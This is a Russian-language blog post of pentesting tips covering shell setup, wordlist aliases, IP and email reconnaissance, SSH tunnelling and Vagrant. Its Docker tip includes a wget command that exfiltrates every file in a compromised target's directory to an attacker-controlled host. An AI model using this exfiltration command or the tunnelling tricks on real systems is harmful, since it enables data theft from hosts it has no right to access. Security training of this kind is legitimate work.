Pentest трюки, которые упростят Вам жизнь

IB Tree
5 min readJan 7, 2021

--

В этой статье я задокументирую для Вас несколько небольших техник, команд и мелочей, которые точно облегчат Вашу повседневную жизнь в качестве пентестера, и которые просто сделают Ваше времяпровождение во время пентестера более приятным!

ZSH vs Bash, Aliases, Docker

ZSH

Одной из вещей, которая серьезно повлияла на мою продуктивность была ZSH, а точнее, такие плагины, как “Z”.

ZSH в сочетании с oh-my-zsh и включенным завершением smart tab делает навигацию по каталогам в вашем терминале намного более приятной и быстрой.

С моими текущеми настройками, я могу просто написать cd d/p/ad, нажать tab, и команда автоматически будет превращена Documents/Pentest/AD/. Это один из ZSH плагинов которые я использую - "Z".

“Z” проанализирует историю ваших каталогов и выяснит, в какие каталоги вы заходите чаще всего. После нескольких часов работы, набрав z pentest вы попадете в свой каталог pentest, z someproject приведет Вам туда куда Вам надо независимо от того, где вы находитесь.....

Это трудно объяснить, но это магия 🔮

Aliases

Чтобы улучшить Ваше времяпровождение в оболочке, в Вашем .zshrc or .bashrc (scum), Вы можете указать свой alias, alias установит имя команды на все, что вы захотите.

Например:

alias nmap="grc nmap"

GRC раскрашивает приложение cli, это сделает nmap визуально приятнее и сделает ответы читабельней

Если вы дружите с оболочкой Linux, вы также знаете, что вы можете установить переменные используяEXPORT.

gobuster -w $BIG -u https://10.10.10.145/

export DIRS_LARGE=/pentest/seclists/Discovery/Web-Content/raft-large-directories.txt
export DIRS_SMALL=/pentest/seclists/Discovery/Web-Content/raft-small-directories.txt
export FILES_LARGE=/pentest/seclists/Discovery/Web-Content/raft-large-files.txt
export FILES_SMALL=/pentest/seclists/Discovery/Web-Content/raft-small-files.txt
export BIG=/pentest/seclists/Discovery/Web-Content/big.txt

Установка этих каталогов позволит Вам получить к ним доступ, используя их псевдоним, например, в приведенном выше примере, где мы используем gobuster с $BIG, к использованию их полного пути. Это небольшой но хороший совет, так как он не только превращает длинную команду в одну строку, но и означает, что вам больше не нужно запоминать и вводить весь путь списка слов каждый раз, когда вам нужно — что может очень увеличить Вашу работоспособность, если вы регулярно перечисляете HTTP.

Docker:

Один из трюков для Докера это:

alias postfiledumphere='docker run --rm -it -p80:3000 -v "${PWD}:/data" rflathers/postfiledump'

Выполните эту команду и разместите дамп файла, а затем на вашей целевой машине (в hack the box или remote reverse shell) выполните следующее:

ls | xargs -I{} wget http://10.10.14.3/{} --post-file {}

Это приведет к перебору всех файлов в локальном каталоге и передаче их по протоколу HTTP. Это чрезвычайно полезно, если вы находитесь во встроенном устройстве или даже в заблокированном контейнере. Если у вас нет wget, вы можете использовать curl (который по дефолту есть в большинстве устройств).

Situational Awareness with IP’s

Если вам дали IP-адрес, и вам нужно узнать информацию об уязвимостях на нем, Вы с помощбю нижеприведенных команд, можете получить довольно хорошее представление о типе хоста, где он находится и что он делает.

IPInfo

Обычно, если мне дают IP-адрес, я делаю поиск с помощью ipinfo:

curl ipinfo.io/54.90.107.240
{
"ip": "54.90.107.240",
"hostname": "ec2-54-90-107-240.compute-1.amazonaws.com",
"city": "Virginia Beach",
"region": "Virginia",
"country": "US",
"loc": "36.8512,-76.1692",
"org": "AS14618 Amazon.com, Inc.",
"postal": "23465",
"readme": "https://ipinfo.io/missingauth"
}

IP Info вернет JSON с подробной информацией обо всем хосте, самое замечательное в этом то, что вы можете легко написать его по конвейеру в jquery.

Я склонен злоупотреблять bash для циклов такого рода, например, если у Вас есть, большой список IP-адресов то вот, что Вы можете сделать:

for ip in $(cat ips.txt); do echo -n "$ip: "; curl -s ipinfo.io/$ip | jq .org; done
54.90.107.240: "AS14618 Amazon.com, Inc."
54.90.107.120: "AS14618 Amazon.com, Inc."
54.90.107.241: "AS14618 Amazon.com, Inc."
54.90.107.242: "AS14618 Amazon.com, Inc."
54.90.107.243: "AS14618 Amazon.com, Inc."

Shodan

Вы, наверное, знаете о Шодане, но я просто обязан был упомянуть о нем для тех, кто еще не знает, так как это очень ценный инструмент.

Шодан постоянно сканирует все хосты в интернете. Это означает, что вы можете выполнить поиск хоста и посмотреть, что у него есть на данный хост.

shodan host 216.58.210.206
216.58.210.206
Hostnames: mrs04s09-in-f206.1e100.net;lhr48s11-in-f14.1e100.net
City: Mountain View
Country: United States
Organization: Google
Updated: 2019-08-17T19:28:38.408716
Number of open ports: 2
Ports:
80/tcp
443/tcp
|-- SSL Versions: TLSv1, TLSv1.1, TLSv1.2, TLSv1.3

Email Recon

Небольшая хитрость, которая очень быстро выполнит проверку адреса электронной почты с помощью Email Recon:

curl emailrep.io/john.smith@gmail.com
{
"email": "john.smith@gmail.com",
"reputation": "high",
"suspicious": false,
"references": 91,
"details": {
"blacklisted": false,
"malicious_activity": false,
"malicious_activity_recent": false,
"credentials_leaked": true,
"credentials_leaked_recent": false,
"data_breach": true,
"last_seen": "07/27/2019",
"domain_exists": true,
"domain_reputation": "n/a",
"new_domain": false,
"days_since_domain_creation": 8773,
"suspicious_tld": false,
"spam": false,
"free_provider": true,
"disposable": false,
"deliverable": true,
"accept_all": false,
"valid_mx": true,
"spoofable": true,
"spf_strict": true,
"dmarc_enforced": false,
"profiles": [
"lastfm",
"pinterest",
"foursquare",
"aboutme",
"spotify",
"twitter",
"vimeo"
]
}
}

SSH Tunelling

Если Вы когда-либо выставляли порт сервера команды CobaltStrike извне и рассказывали об этом людям, вы получите много ненависти. Каково же решение? SSH — туннелирование.

Если у вас есть SSH-доступ к хосту, вы можете туннелировать порты (сопоставлять удаленные порты с локальными), динамически создавать SOCKS-прокси и многое другое.

Mapping remote port to local port

ssh -L localport:127.0.0.1:remoteport user@host

Хороший повод, чтобы подумать о синтаксисе SSH-туннелей и наконец-то разделить его на две части

ssh -L 127.0.0.1:8080:127.0.0.1:80 user@host

Это откроет локальный порт 8080, сопоставленный с портом 80 на удаленном сервере. К счастью для нас, SSH добр, поэтому сделаем вывод, что первый хост является локальным.

Opening a SOCKS proxy that routes from your server

SSH -D 8080 user@host

Данная команда откроет SOCKS-прокси на локальном порту 8080, вы можете изменить свой proxychains.conf, чтобы принять этот порт, а затем использовать proxychains перед каждой командой для маршрутизации трафика через данный хост.

Vagrant

Это классный маленький трюк, которому я научился, но сильно облегчил мне жизнь.

Как и Docker, vagrant может запускать экземпляры операционных систем и помещать вас в интерактивную оболочку.

Мой любимый — использование Ubuntu:

vagrant init hashicorp/precise32
vagrant up
vagrant ssh
cd /vagrant/

Вы будете перемещены в точную оболочку Ubuntu!

Подведя итоги

В заключение скажу, что трюки которые мы сегодня разобрали, действительно могут облегчить Вашу жизнь в качестве пентестера.

Не забудьте подпиcаться на наш канал!

--

--

IB Tree
IB Tree

Written by IB Tree

Киберкриминалистика; Offensive security; Red teaming; OSINT; Обучение; Инсайты, опыт и lifestyle. 🏴‍☠️ t.me/ib_tree

No responses yet